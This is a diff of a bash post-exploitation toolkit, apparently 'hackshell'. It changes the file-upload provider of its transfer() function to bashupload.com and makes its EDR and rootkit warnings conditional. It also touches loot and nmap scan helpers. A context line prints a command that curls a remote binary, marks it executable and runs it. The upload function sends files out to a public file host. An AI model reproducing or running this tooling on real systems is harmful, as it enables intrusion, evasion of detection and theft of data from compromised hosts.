@@ -395,7 +395,8 @@ xor() {
395
395
xorpipe () { xor " ${1:- 0xfa} " | sed ' s/\r/\n/g' ; }
396
396
397
397
# HS_TRANSFER_PROVIDER="transfer.sh"
398
- HS_TRANSFER_PROVIDER=" oshi.at"
398
+ # HS_TRANSFER_PROVIDER="oshi.at"
399
+ HS_TRANSFER_PROVIDER=" bashupload.com"
399
400
400
401
transfer () {
401
402
local opts=(" -SsfL" " --connect-timeout" " 7" " --progress-bar" " -T" )
@@ -426,6 +427,8 @@ command -v shred >/dev/null || shred() {
426
427
rm -f " ${1:? } "
427
428
}
428
429
430
+ command -v strings > /dev/null || strings () { perl -nle ' print $& while m/[[:print:]]{8,}/g' " $@ " ; }
431
+
429
432
bounceinit () {
430
433
[[ -n " $_is_bounceinit " ]] && return
431
434
_is_bounceinit=1
@@ -1403,8 +1406,10 @@ lootlight() {
1403
1406
echo -e " ${CN} "
1404
1407
}
1405
1408
1406
- _warn_edr
1407
- _warn_rk
1409
+ [ ! -d /sf ] && {
1410
+ _warn_edr
1411
+ _warn_rk
1412
+ }
1408
1413
}
1409
1414
1410
1415
_lootmore_last () {
@@ -1964,6 +1969,11 @@ ${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
1964
1969
hs_init_dl
1965
1970
}
1966
1971
1972
+ # Filter: Show only IPv4 addresses
1973
+ ipf () {
1974
+ grep --color=never -oE " \b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
1975
+ }
1976
+
1967
1977
# Show CN and SAN of remote server
1968
1978
cn () {
1969
1979
local str
@@ -1997,7 +2007,7 @@ _scan_single() {
1997
2007
1998
2008
[ -f " $2 " ] && opt=(" -iL" " $2 " )
1999
2009
# Redirect "Unable to find nmap-services" to /dev/null
2000
- nmap -Pn -p" ${1} " --open -T4 -n -oG - " ${opt[@]} " 2> /dev/null | grep -F Ports
2010
+ nmap -Pn -p" ${1} " --open -T4 --max-retries 3 - n -oG - " ${opt[@]} " 2> /dev/null | grep -F Ports
2001
2011
}
2002
2012
2003
2013
# scan <port> <IP or file> ...
@@ -2166,7 +2176,8 @@ hs_init_alias
2166
2176
hs_init_shell
2167
2177
2168
2178
[ -z " $QUIET " ] && {
2169
- xhelp
2179
+ echo -e " >>> Type ${CDC} loot${CN} or ${CDC} xhelp${CN} to get your started"
2180
+ # xhelp
2170
2181
2171
2182
# ## Finishing
2172
2183
echo -e " >>> Type ${CDC} xhome${CN} to set HOME=${CDY}${XHOME}${CN} "
0 commit comments